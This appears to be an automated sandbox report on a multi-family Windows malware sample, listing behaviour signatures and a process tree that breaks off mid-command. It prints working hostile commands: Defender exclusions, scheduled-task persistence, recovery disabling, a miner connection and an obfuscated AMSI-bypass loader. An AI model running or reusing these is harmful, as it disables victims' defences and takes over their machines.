Analysis
- max time kernel
96s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260706-en - resource tags
- submitted
06/07/2026, 22:18
General
- Target 2026-07-06_26e48014de1dab65aecedcd6e6134209_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
- Size 401KB
- Sample260706-176b4acw4w
- SHA256 e4d6753173b851829ba0313764fffe53db209bec325acfef2327d9850bd863ef
Malware Config
Signatures
- Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
- Looks for VirtualBox Guest Additions in registry 2 TTPs 4 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Using powershell.exe command.
- Looks for VMWare Tools registry key 2 TTPs 4 IoCs
- Possible privilege escalation attempt 3 IoCs
- Executes dropped EXE 5 IoCs
- Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
- Modifies file permissions 1 TTPs 3 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Power Settings 1 TTPs 7 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
- Drops file in System32 directory 5 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Drops file in Windows directory 7 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks SCSI registry key(s) 3 TTPs 62 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Modifies Internet Explorer settings 1 TTPs 1 IoCs
- Modifies data under HKEY_USERS 41 IoCs
- Modifies registry class 38 IoCs
- Runs ping.exe 1 TTPs 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 62 IoCs
- Suspicious use of SendNotifyMessage 46 IoCs
- Suspicious use of SetWindowsHookEx 3 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"2⤵
-
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
-
C:\Windows\Win-v41.exe"C:\Windows\Win-v41.exe"2⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"1⤵
-
C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-8db51ec6-f344-4d90-b913-24e10d3c8461 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-a11fc8f2-50f0-4693-a95b-60bfcbac4291 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-2edfa194-775b-4d36-80b0-3db64729af95 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-4ad3d851-3337-4fc8-aadf-516b823bc377 -LifetimeId:3fb0e690-7ab3-4767-bf9a-79149c9a3ed2 -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
- Drops file in System32 directory
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UserProfileService -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
C:\Windows\System32\ShellHost.exe"C:\Windows\System32\ShellHost.exe"3⤵
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1408 -s 21163⤵
-
-
-
C:\Windows\system32\sihost.exesihost.exe2⤵
- Suspicious use of FindShellTrayWindow
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS3⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService1⤵
-
C:\Windows\system32\ctfmon.exe/QuitInfo:0000000000000268;000000000000026C;2⤵
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\System32\SecurityHealthSystray.exe"C:\Windows\System32\SecurityHealthSystray.exe"2⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
C:\Users\Admin\AppData\Local\Temp\2026-07-06_26e48014de1dab65aecedcd6e6134209_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-06_26e48014de1dab65aecedcd6e6134209_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"2⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C reagentc /disable3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\ReAgentc.exereagentc /disable4⤵
- Drops file in System32 directory
- Drops file in Windows directory
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\takeown.exetakeown /F "C:\Windows\System32\reagentc.exe"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change monitor-timeout-ac 03⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change monitor-timeout-dc 03⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change standby-timeout-ac 03⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change standby-timeout-dc 03⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change hibernate-timeout-ac 03⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change hibernate-timeout-dc 03⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /hibernate off3⤵
- Power Settings
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEping -n 1 -w 1000 8.8.8.84⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe --algo rx/0 --url 94.154.32.229:3333 --user 439RTMrajyhLb4cLK4YDejMx4rp8b5VDR4YX4auqWGbgUBj1c4wVbvc69bVUmJuJ8rXWwCU7LAGL9MkFaMwDwXjo6FrM5Y3/x -p x -k --cpu-max-threads-hint=903⤵
- Badlisted process makes network request
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\SysWOW64\svchost.exeC:\Windows\SysWOW64\svchost.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Enumerates connected drives
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵
-
C:\Windows\System32\smartscreen.exeC:\Windows\System32\smartscreen.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k WebThreatDefense -p -s webthreatdefsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC1⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 668 -p 1408 -ip 14082⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
-
C:\Windows\System32\Win-v42.exeC:\Windows\System32\Win-v42.exe1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:WpEXSbSLdyzA{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$gnnsqPpLsgyLsa,[Parameter(Position=1)][Type]$SkbQTmloKZ)$gfxtuhSkQEb=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+'f'+[Char](108)+''+'e'+''+[Char](99)+'te'+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+'g'+[Char](97)+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+[Char](77)+''+'e'+''+[Char](109)+'o'+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+'d'+'u'+''+'l'+'e',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+''+'t'+''+'e'+''+[Char](84)+''+[Char](121)+''+[Char](112)+'e',''+'C'+'la'+[Char](115)+'s'+[Char](44)+''+[Char](80)+''+'u'+'b'+[Char](108)+'i'+'c'+''+','+''+'S'+''+'e'+''+[Char](97)+''+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+'A'+''+[Char](110)+'s'+[Char](105)+''+'C'+''+'l'+''+[Char](97)+'ss'+[Char](44)+'Au'+'t'+'o'+[Char](67)+''+[Char](108)+''+'a'+''+'s'+'s',[MulticastDelegate]);$gfxtuhSkQEb.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+[Char](112)+''+'e'+''+'c'+'i'+'a'+''+'l'+'Na'+[Char](109)+''+[Char](101)+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+'y'+'S'+''+[Char](105)+'g'+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$gnnsqPpLsgyLsa).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'nt'+[Char](105)+''+'m'+''+[Char](101)+''+','+''+[Char](77)+''+'a'+''+'n'+''+'a'+'g'+[Char](101)+''+[Char](100)+'');$gfxtuhSkQEb.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+'o'+''+[Char](107)+'e',''+[Char](80)+'u'+[Char](98)+'l'+[Char](105)+''+'c'+','+[Char](72)+''+[Char](105)+'d'+'e'+'B'+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+'N'+'e'+''+[Char](119)+''+'S'+'l'+'o'+''+'t'+''+[Char](44)+''+[Char](86)+'i'+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+'',$SkbQTmloKZ,$gnnsqPpLsgyLsa).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+'tim'+[Char](101)+''+','+''+[Char](77)+''+'a'+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $gfxtuhSkQEb.CreateType();}$QDdKUVUxVBhhF=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+'t'+'em'+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType('M'+'i'+''+[Char](99)+''+[Char](114)+''+[Char](111)+'s'+'o'+''+'f'+''+[Char](116)+''+'.'+'W'+[Char](105)+''+'n'+''+[Char](51)+''+'2'+''+'.'+'Un'+[Char](115)+''+[Char](97)+''+[Char](102)+'e'+'N'+''+'a'+'t'+[Char](105)+''+'v'+'e'+[Char](77)+''+[Char](101)+''+'t'+''+'h'+'od'+[Char](115)+'');$LpMVaoOvpmctXE=$QDdKUVUxVBhhF.GetMethod(''+'G'+''+[Char](101)+''+'t'+'P'+[Char](114)+'oc'+'A'+''+[Char](100)+''+'d'+''+[Char](114)+''+'e'+'s'+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+'S'+[Char](116)+''+'a'+''+[Char](116)+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$nbNoKBxqbhiynovWttM=WpEXSbSLdyzA @([String])([IntPtr]);$WWQFODRkdTwmIXmflZzVPm=WpEXSbSLdyzA @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$hbcxYGgfFbr=$QDdKUVUxVBhhF.GetMethod(''+[Char](71)+'e'+'t'+''+[Char](77)+''+'o'+'d'+[Char](117)+''+[Char](108)+''+[Char](101)+'H'+'a'+''+'n'+'d'+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+'n'+'e'+[Char](108)+''+[Char](51)+'2'+'.'+''+[Char](100)+''+'l'+'l')));$jsGDDhjSqgILcL=$LpMVaoOvpmctXE.Invoke($Null,@([Object]$hbcxYGgfFbr,[Object](''+'L'+'o'+'a'+''+[Char](100)+''+[Char](76)+''+[Char](105)+'b'+[Char](114)+''+[Char](97)+''+[Char](114)+'y'+[Char](65)+'')));$TufubFlxJMVOUiioN=$LpMVaoOvpmctXE.Invoke($Null,@([Object]$hbcxYGgfFbr,[Object](''+[Char](86)+'ir'+[Char](116)+''+'u'+'a'+[Char](108)+'P'+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+''+[Char](99)+''+[Char](116)+'')));$HkOgQBS=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jsGDDhjSqgILcL,$nbNoKBxqbhiynovWttM).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+'i'+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'');$bMDjGujCGoHVPZytK=$LpMVaoOvpmctXE.Invoke($Null,@([Object]$HkOgQBS,[Object]('A'+[Char](109)+''+[Char](115)+''+[Char](105)+'S'+[Char](99)+'anB'+'u'+''+'f'+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$BpwVzdxhef=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TufubFlxJMVOUiioN,$WWQFODRkdTwmIXmflZzVPm).Invoke($bMDjGujCGoHVPZytK,[uint32]8,4,[ref]$BpwVzdxhef);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](55+82),[Byte](76+134),[Byte](148+36),[Byte](187-100),[Byte](226-226),[Byte](202-195),[Byte](0+128),[Byte](125+6),[Byte](15+178),[Byte](118-118),[Byte](129+66),[Byte](36+95),[Byte](255-21),[Byte](146-146)),0,$bMDjGujCGoHVPZytK,193-179);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TufubFlxJMVOUiioN,$WWQFODRkdTwmIXmflZzVPm).Invoke($bMDjGujCGoHVPZytK,[uint32]8,0x20,[ref]$BpwVzdxhef);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+[Char](84)+'W'+'A'+'RE').GetValue(''+[Char](36)+'SH'+[Char](115)+'t'+[Char](97)+''+'g'+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)"""1⤵
- System Time Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:WpEXSbSLdyzA{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$gnnsqPpLsgyLsa,[Parameter(Position=1)][Type]$SkbQTmloKZ)$gfxtuhSkQEb=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+'f'+[Char](108)+''+'e'+''+[Char](99)+'te'+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+'g'+[Char](97)+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+[Char](77)+''+'e'+''+[Char](109)+'o'+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+'d'+'u'+''+'l'+'e',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+''+'t'+''+'e'+''+[Char](84)+''+[Char](121)+''+[Char](112)+'e',''+'C'+'la'+[Char](115)+'s'+[Char](44)+''+[Char](80)+''+'u'+'b'+[Char](108)+'i'+'c'+''+','+''+'S'+''+'e'+''+[Char](97)+''+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+'A'+''+[Char](110)+'s'+[Char](105)+''+'C'+''+'l'+''+[Char](97)+'ss'+[Char](44)+'Au'+'t'+'o'+[Char](67)+''+[Char](108)+''+'a'+''+'s'+'s',[MulticastDelegate]);$gfxtuhSkQEb.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+[Char](112)+''+'e'+''+'c'+'i'+'a'+''+'l'+'Na'+[Char](109)+''+[Char](101)+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+'y'+'S'+''+[Char](105)+'g'+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$gnnsqPpLsgyLsa).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'nt'+[Char](105)+''+'m'+''+[Char](101)+''+','+''+[Char](77)+''+'a'+''+'n'+''+'a'+'g'+[Char](101)+''+[Char](100)+'');$gfxtuhSkQEb.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+'o'+''+[Char](107)+'e',''+[Char](80)+'u'+[Char](98)+'l'+[Char](105)+''+'c'+','+[Char](72)+''+[Char](105)+'d'+'e'+'B'+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+'N'+'e'+''+[Char](119)+''+'S'+'l'+'o'+''+'t'+''+[Char](44)+''+[Char](86)+'i'+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+'',$SkbQTmloKZ,$gnnsqPpLsgyLsa).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+'tim'+[Char](101)+''+','+''+[Char](77)+''+'a'+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $gfxtuhSkQEb.CreateType();}$QDdKUVUxVBhhF=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+'t'+'em'+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType('M'+'i'+''+[Char](99)+''+[Char](114)+''+[Char](111)+'s'+'o'+''+'f'+''+[Char](116)+''+'.'+'W'+[Char](105)+''+'n'+''+[Char](51)+''+'2'+''+'.'+'Un'+[Char](115)+''+[Char](97)+''+[Char](102)+'e'+'N'+''+'a'+'t'+[Char](105)+''+'v'+'e'+[Char](77)+''+[Char](101)+''+'t'+''+'h'+'od'+[Char](115)+'');$LpMVaoOvpmctXE=$QDdKUVUxVBhhF.GetMethod(''+'G'+''+[Char](101)+''+'t'+'P'+[Char](114)+'oc'+'A'+''+[Char](100)+''+'d'+''+[Char](114)+''+'e'+'s'+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+'S'+[Char](116)+''+'a'+''+[Char](116)+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$nbNoKBxqbhiynovWttM=WpEXSbSLdyzA @([String])([IntPtr]);$WWQFODRkdTwmIXmflZzVPm=WpEXSbSLdyzA 